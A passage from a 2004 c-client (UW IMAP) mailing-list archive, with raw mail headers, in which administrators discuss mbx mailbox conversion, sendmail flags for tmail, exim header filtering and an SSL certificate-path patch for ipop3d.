ESMTP id iA92XWCG014705 for ; Mon, 8 Nov 2004 18:33:32 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA92XVeH011483 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 8 Nov 2004 18:33:31 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iA92XNRb018600; Mon, 8 Nov 2004 18:33:23 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA92WAPf090168 for ; Mon, 8 Nov 2004 18:32:11 -0800 Received: from harmony.distal.com (pcp04370856pcs.nrockv01.md.comcast.net [69.140.219.113]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA92W9AW006292 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 8 Nov 2004 18:32:10 -0800 Received: from [172.31.83.22] (pcp04370856pcs.nrockv01.md.comcast.net [69.140.219.113]) by harmony.distal.com (8.12.11/8.12.11) with ESMTP id iA92VoxT017193; Mon, 8 Nov 2004 21:32:04 -0500 (EST) Message-Id: <41902C0A.7020907@fullmesh.net> Date: Mon, 08 Nov 2004 21:31:38 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Chris Ross To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: Mailbox format how-to In-Reply-To: References: <418FD41A.9070704@fullmesh.net> <418FF813.2040902@fullmesh.net> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > dmail is built as part of the IMAP toolkit, so its behavior will be > affected by the change to CREATEPROTO. Right. I knew that. I was just looking for a way to do it without compiling it in as the "default" format. Tho, I'm not sure there's a problem with doing that. > It's messier than that; there are some security issues as well. The -I > flag in tmail could be abused for some truly nasty purposes if it was > allowed for non-privileged calls. Right. But if there were a "format" command-line arg that doesn't also specify the filename, that issue goes away. That was my point for having a format arg that wasn't -I. > "mailutil create #driver.mbx/foo" will create an empty file named foo > which you can then copy to "INBOX" in the home directory of all the > users you want to convert to mbx. Cool. Thanks... I need to look at mailutil s'more. I've looked at mbx* tools, but they're confusing. Maybe I shouldn't be looking at those. :-) > By the way, you do know that you can't use mbx format with NFS, don't you? Yup. I'm all on local filesystems here. - Chris From pinedev@shivax2.cac.washington.edu Tue Nov 9 03:13:02 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 9 Nov 2004 03:13:02 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA9BD11b000388 for ; Tue, 9 Nov 2004 03:13:01 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA9BD0sZ018015 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 9 Nov 2004 03:13:01 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iA9BCoho018354; Tue, 9 Nov 2004 03:12:50 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA9BBQYF047274 for ; Tue, 9 Nov 2004 03:11:27 -0800 Received: from zuse.rz-zw.fh-kl.de (zuse.rz-zw.fh-kl.de [143.93.17.100]) by mxe3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA9BBPFV032258 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 9 Nov 2004 03:11:26 -0800 Received: from amavis by zuse.rz-zw.fh-kl.de with scanned-ok (Exim 3.35 #1 (Debian)) id 1CRTuB-00009h-00; Tue, 09 Nov 2004 12:11:19 +0100 Received: from zuse.rz-zw.fh-kl.de ([127.0.0.1]) by localhost (mail.zw.fh-kl.de [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 28961-05; Tue, 9 Nov 2004 12:11:18 +0100 (CET) Received: from sub17.rz-zw.fh-kl.de ([143.93.17.17] helo=zwo224-tv.ds.fh-kl.de) by zuse.rz-zw.fh-kl.de with esmtp (Cipher TLSv1:RC4-MD5:128) (Exim 3.35 #1 (Debian)) id 1CRTuA-00009P-00; Tue, 09 Nov 2004 12:11:18 +0100 Message-Id: <200411091215.02974.tv@rz-zw.fh-kl.de> Date: Tue, 9 Nov 2004 12:15:02 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Timo Veith To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: errors with pop3 In-Reply-To: References: <200411051128.37579.tv@rz-zw.fh-kl.de> <200411081522.46382.tv@rz-zw.fh-kl.de> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at zw.fh-kl.de X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Am Montag, 8. November 2004 17:03 schrieb Mark Crispin: > On Mon, 8 Nov 2004, Timo Veith wrote: > > Because I don't have a recent version of uw-imap (not even modern) > > and I would prefer to leave uw-imap as it is, do you think it is a > > good idea to use exim for filtering out the X-UID header? > > If you can do this, yes that is an excellent idea. Although it's my first time to remove a header with exim, I think I did it. :) My test showed that a manually inserted X-UID (telnet localhost 25) was removed. Hopefully it really helps to prevent it from happening again. We will see. Thanks again for helping me out. :) Kind regards, Timo From pinedev@shivax2.cac.washington.edu Tue Nov 9 15:50:52 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 9 Nov 2004 15:50:52 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA9Noqb0001936 for ; Tue, 9 Nov 2004 15:50:52 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA9Noplc020996 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 9 Nov 2004 15:50:51 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iA9NokhJ018982; Tue, 9 Nov 2004 15:50:46 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA9NmNbg056198 for ; Tue, 9 Nov 2004 15:48:24 -0800 Received: from pmesmtp02.mci.com (pmesmtp02.wcom.com [199.249.20.2]) by mxe3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA9NmMDY007568 for ; Tue, 9 Nov 2004 15:48:23 -0800 Received: from dgismtp01.wcomnet.com ([166.38.58.141]) by firewall.wcom.com (Iplanet MTA 5.2) with ESMTP id <0I6X00EFSRGL6H@firewall.wcom.com> for c-client@u.washington.edu; Tue, 09 Nov 2004 23:48:21 +0000 (GMT) Received: from dgismtp01.wcomnet.com by dgismtp01.mcilink.com (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003)) with SMTP id <0I6X00401RGLCH@dgismtp01.mcilink.com> for c-client@u.washington.edu; Tue, 09 Nov 2004 23:48:21 +0000 (GMT) Received: from [131.146.0.55] by dgismtp01.mcilink.com (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003)) with ESMTP id <0I6X0028MRGKQQ@dgismtp01.mcilink.com> for c-client@u.washington.edu; Tue, 09 Nov 2004 23:48:21 +0000 (GMT) Message-Id: <41915744.7000704@fullmesh.net> Date: Tue, 09 Nov 2004 18:48:20 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Chris Ross To: c-client@u.washington.edu Subject: MAILER_FLAGS for tmail (from sendmail) MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1; format=flowed Content-transfer-encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN When reconfiguring sendmail (8.12) to use tmail for local delivery to MBX format mailboxes, I used the following in my server.mc file: dnl Use tmail as the local mailer. Use the local_procmail feature, just dnl because it seems to be intended to be used for programs other than dnl procmail, according to the README. Set EOL to \r\n for tmail, dnl because it seems to need it. define(`LOCAL_MAILER_EOL', `\r\n') FEATURE(`local_procmail', `/usr/pkg/bin/tmail', `tmail $u', `Prn+') The last arg to the local_procmail feature is the mailer flags. The default is 'SPfhn9', but the docs for tmail and various web pages seem to suggest that 'Prn+' is the right thing. I know I should look this up in a sendmail book (if I had one), but can you briefly describe what these do, why 'r' and '+' are wanted for tmail, and why each/any of 'S','f','h', and '9' are not? Thanks... - Chris -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Nov 10 12:11:09 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 10 Nov 2004 12:11:09 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAAKB8Ps016511 for ; Wed, 10 Nov 2004 12:11:08 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAAKB72q014696 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 10 Nov 2004 12:11:08 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iAAKB1Q1002648; Wed, 10 Nov 2004 12:11:01 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAAK8Hqm087788 for ; Wed, 10 Nov 2004 12:08:17 -0800 Received: from idmailgate2.unizh.ch (idmailgate2.unizh.ch [130.60.68.106]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAAK8EEx025752 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 10 Nov 2004 12:08:16 -0800 Received: from zimail1.unizh.ch (zimail1.unizh.ch [130.60.128.11]) by idmailgate2.unizh.ch (8.12.10/8.12.10/Debian-2) with ESMTP id iAAK8DJF025849 for ; Wed, 10 Nov 2004 21:08:13 +0100 Received: from zisp0303.unizh.ch (zisp0303.unizh.ch [130.60.7.175]) by zimail1.unizh.ch (8.12.10/8.12.10/smMTA-17) with ESMTP id iAAK8CVu003269 for ; Wed, 10 Nov 2004 21:08:13 +0100 (MET) Received: from localhost (tedaldi@localhost) by zisp0303.unizh.ch (AIX5.1/8.11.6p2/8.11.0) with ESMTP id iAAK8Cn34280 for ; Wed, 10 Nov 2004 21:08:12 +0100 Message-Id: Date: Wed, 10 Nov 2004 21:08:11 +0100 (MET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Paul.Tedaldi@id.unizh.ch To: c-client@u.washington.edu Subject: imap access via ipo3d MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: zisp0303.unizh.ch: tedaldi owned process doing -bs X-X-Sender: tedaldi@zisp0303.unizh.ch X-Virus-Scanned: by amavisd-milter (http://www.amavis.org/) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, we have used the feature of ipop3d to access a remote inbox via imap i.e login to "imap-host:user@pop-host". This worked for years without problems. Now we decided to activate SSL on both, the ipop and imap servers. Now it is possible to login to the ipop server for a local inbox and to login to the imap server directly for a local inbox there. But login to the ipop server and request an inbox from the imap server no longer works. Testing via telnet allows us to proceed to the pass command but then we get "-ERR Unable to open user's INBOX" immediatly. It does not matter if the client uses a SSL Connection or not. We have imap-2004a on both servers. Has anyone a setup like this working and give us some advice ? Thanks Paul ======================================================================== Paul Tedaldi | Informatikdienste | Email: Paul.Tedaldi@id.unizh.ch Universitaet Zuerich | Winterthurerstr. 190 | Tel: +41 (0)44 635 4523 CH-8057 Zuerich | Fax: +41 (0)44 635 4505 Switzerland | ======================================================================== -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Nov 11 08:28:33 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 11 Nov 2004 08:28:33 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iABGSXB8023779 for ; Thu, 11 Nov 2004 08:28:33 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iABGSW3b027865 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 11 Nov 2004 08:28:33 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iABGRlW1019336; Thu, 11 Nov 2004 08:27:47 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iABGOtaC032930 for ; Thu, 11 Nov 2004 08:24:56 -0800 Received: from idmailgate1.unizh.ch (idmailgate1.unizh.ch [130.60.68.105]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iABGOqaX011379 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 11 Nov 2004 08:24:55 -0800 Received: from zimail1.unizh.ch (zimail1.unizh.ch [130.60.128.11]) by idmailgate1.unizh.ch (8.12.10/8.12.10/Debian-2) with ESMTP id iABGOp8E030013 for ; Thu, 11 Nov 2004 17:24:51 +0100 Received: from zisp0103.unizh.ch (zisp0103.unizh.ch [130.60.7.143]) by zimail1.unizh.ch (8.12.10/8.12.10/smMTA-17) with ESMTP id iABGOoI1023696 for ; Thu, 11 Nov 2004 17:24:51 +0100 (MET) Received: from localhost (tedaldi@localhost) by zisp0103.unizh.ch (AIX5.1/8.11.6p2/8.11.0) with ESMTP id iABGOnk51266 for ; Thu, 11 Nov 2004 17:24:50 +0100 Message-Id: Date: Thu, 11 Nov 2004 17:24:49 +0100 (MET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Paul.Tedaldi@id.unizh.ch To: c-client@u.washington.edu Subject: Re: imap access via ipo3d (fwd) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: zisp0103.unizh.ch: tedaldi owned process doing -bs X-X-Sender: tedaldi@zisp0103.unizh.ch X-Virus-Scanned: by amavisd-milter (http://www.amavis.org/) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Marc, i have found the cause of the problem. When ipo3d connects to the requested imap server it honors the starttls capability. When it receives the certificate it must follow the certificate chain up to the root certificate. Making available and doing a c_rehash in SSLCERTS is not sufficient. You have to inform openssl of the path to trusted certificates. After patching osdep/unix/ssl_unix.c with the following the problem vanished (allmost). *** ssl_unix.c.orig Tue Apr 27 21:54:51 2004 --- ssl_unix.c Thu Nov 11 11:45:39 2004 *************** *** 218,223 **** --- 218,226 ---- else SSL_CTX_set_verify (stream->context,SSL_VERIFY_PEER,ssl_open_verify); /* set default paths to CAs */ SSL_CTX_set_default_verify_paths (stream->context); + /* set path to trusted CAs */ + SSL_CTX_load_verify_locations(stream->context,NULL, + SSL_CERT_DIRECTORY); /* create connection */ if (!(stream->con = (SSL *) SSL_new (stream->context))) return "SSL connection failed"; *** Maybe it is better to introduce a new config option to be able to have the trusted certificates in a seperate directory (SSLCAPATH)? The problem is not completely solved because modern x509 certificates make use of the "Subject Alternate Name" section. So it is not sufficient to compare only CN with the hostname in ssl_start_work(). Kind regards Paul ======================================================================== Paul Tedaldi | Informatikdienste | Email: Paul.Tedaldi@id.unizh.ch Universitaet Zuerich | Winterthurerstr. 190 | Tel: +41 (0)44 635 4523 CH-8057 Zuerich | Fax: +41 (0)44 635 4505 Switzerland | ======================================================================== ---------- Forwarded message ---------- Date: Wed, 10 Nov 2004 21:08:11 +0100 (MET) From: Paul.Tedaldi@id.unizh.ch To: c-client@u.washington.edu Subject: imap access via ipo3d Hi, we have used the feature of ipop3d to access a remote inbox via imap i.e login to "imap-host:user@pop-host". This worked for years without problems. Now we decided to activate SSL on both, the ipop and imap servers. Now it is possible to login to the ipop server for a local inbox and to login to the imap server directly for a local inbox there. But login to the ipop server and request an inbox from the imap server no longer works. Testing via telnet allows us to proceed to the pass command but then we get "-ERR Unable to open user's INBOX" immediatly. It does not matter if the client uses a SSL Connection or not. We have imap-2004a on both servers. Has anyone a setup like this working and give us some advice ? Thanks Paul ======================================================================== Paul Tedaldi | Informatikdienste | Email: Paul.Tedaldi@id.unizh.ch Universitaet Zuerich | Winterthurerstr. 190 | Tel: +41 (0)44 635 4523 CH-8057 Zuerich | Fax: +41 (0)44 635 4505 Switzerland | ======================================================================== -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Nov 11 08:41:14 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 11 Nov 2004 08:41:14 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iABGfEAe024094 for ; Thu, 11 Nov 2004 08:41:14 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iABGfDNN015511 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 11 Nov 2004 08:41:14 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iABGeSq4011250; Thu, 11 Nov 2004 08:40:28 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iABGbec5051316 for ; Thu, 11 Nov 2004 08:37:40 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iABGbck8016909 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 11 Nov 2004 08:37:40 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout3.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iABGbcdu027472; Thu, 11 Nov 2004 08:37:38 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iABGbbdc016038; Thu, 11 Nov 2004 08:37:38 -0800 Message-Id: Date: Thu, 11 Nov 2004 08:37:37 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Paul.Tedaldi@id.unizh.ch Cc: c-client@u.washington.edu Subject: Re: imap access via ipo3d (fwd) In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN SSL_CERT_DIRECTORY is the directory for the *server* to find the local host public certificate, and SSL_KEY_DIRECTORY is the directory for the *server* to find the local host private key. These are *not* the directories for the CA certificates. The CA certificate directory is declared as part of the OpenSSL build. Apparently, you built OpenSSL with a different CA certificate directory than you actually used. If you think about it, you really want to use the CA certificate directory that OpenSSL was built with. Otherwise, each and every program that uses OpenSSL would have to be told where the CA certificates are located as part of their build; nor could you change the CA certificate directory without rebuilding all programs that use OpenSSL. It makes sense for programs to have configurability of their own certificates (such as the imapd and ipop3d server public certificates and private keys), but not the CA certificates. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Nov 16 01:55:40 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 16 Nov 2004 01:55:39 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAG9tdmu003754 for ; Tue, 16 Nov 2004 01:55:39 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAG9tcUi013944 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 16 Nov 2004 01:55:39 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iAG9sskl019238; Tue, 16 Nov 2004 01:54:54 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAG9rA0v048140 for ; Tue, 16 Nov 2004 01:53:10 -0800 Received: from sth2k02.streamserve.com (mail.streamserve.com [195.242.62.44] (may be forged)) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAG9r8ae027382 for ; Tue, 16 Nov 2004 01:53:09 -0800 Received: by sth2k02.streamserve.com with Internet Mail Service (5.5.2657.72) id ; Tue, 16 Nov 2004 10:55:33 +0100 Received: from sth3k12.streamserve.com ([192.168.2.31]) by sth2k02.streamserve.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id V48FJW1Y; Tue, 16 Nov 2004 10:55:26 +0100 Message-Id: <112AD0BB29AA17499E60E899C166C46B0BBE28@sth3k12.streamserve.com> Date: Tue, 16 Nov 2004 10:52:18 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Gard, Torbjorn" To: c-client@u.washington.edu Subject: SMTP header Disposition-Notification-To Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C4CBC1.F5B45F61" X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 X-MS-Has-Attach: Produced By Microsoft Exchange V6.5.7226.0 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 X-MS-Has-Attach: X-MS-TNEF-Correlator: X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __CTYPE_MULTIPART_ALT 0, __HAS_MSGID 0, __IMS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __NEXTPART_ALL 0, __NEXTPART_NORMAL 0, __SANE_MSGID 0, __TAG_EXISTS_HTML 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------_=_NextPart_001_01C4CBC1.F5B45F61 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello, =20 I have modified c-client to set "Return-Receipt-To" when needed. =20 Now we have we would like to use "Disposition-Notification-To" as well. =20 But on the other hand I would rather use an unmodified c-client library - any thoughts on these header values in future imap versions? =20 regards Torbj=F6rn Gard ------_=_NextPart_001_01C4CBC1.F5B45F61 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Hello,
     
    I = have modified=20 c-client to set "Return-Receipt-To" when needed.
     
    Now we have we = would like to=20 use "Disposition-Notification-To" as well.
     
    But = on the other=20 hand I would rather use an unmodified c-client library - any = thoughts on=20 these header values in future imap versions?
     
    regards

    Torbj=F6rn = Gard

    ------_=_NextPart_001_01C4CBC1.F5B45F61-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Nov 16 08:53:05 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 16 Nov 2004 08:53:05 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAGGr4Ch016833 for ; Tue, 16 Nov 2004 08:53:04 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAGGr3dN021891 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 16 Nov 2004 08:53:04 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iAGGqwxP021144; Tue, 16 Nov 2004 08:52:58 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAGGpZEM024204 for ; Tue, 16 Nov 2004 08:51:35 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAGGpYVj023859 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 16 Nov 2004 08:51:34 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAGGpXHH021779; Tue, 16 Nov 2004 08:51:33 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAGGpXcO001857; Tue, 16 Nov 2004 08:51:33 -0800 Message-Id: Date: Tue, 16 Nov 2004 08:51:33 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: 